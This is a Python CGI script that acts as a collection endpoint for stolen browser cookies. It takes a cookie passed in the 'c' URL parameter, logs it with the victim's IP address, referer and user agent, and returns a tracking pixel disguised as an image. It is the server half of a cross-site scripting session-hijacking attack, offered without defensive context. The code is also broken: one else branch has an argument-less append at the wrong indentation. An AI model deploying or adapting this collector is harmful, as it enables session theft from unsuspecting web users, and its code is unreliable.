#!/usr/bin/python

import os
import sys
import cgi
import datetime

if __name__ == "__main__":

   log=[]
   log.append(str(datetime.datetime.today()))

   # get the cookie from url?c=asdf
   form = cgi.FieldStorage()
   if form.has_key("c"):
      log.append(form["c"].value)
   else:
  log.append()

   # get some request info
   log.append(str(os.environ['REMOTE_ADDR']))
   log.append(str(os.environ['HTTP_REFERER']))
   log.append(str(os.environ['HTTP_USER_AGENT']))

   # save the log array
   f = os.open("cookielog.txt",os.O_APPEND|os.O_WRONLY)
   os.write(f,",".join(log)+"\r\n")
   os.close(f)

   # write response
   sys.stdout.write("Content-Type: image/gif\r\n\r\n")
   pixel = os.open("../images/pixel.gif",os.O_RDONLY)
   sys.stdout.write(os.read(pixel,1000))
   os.close(pixel)
   sys.stdout.flush()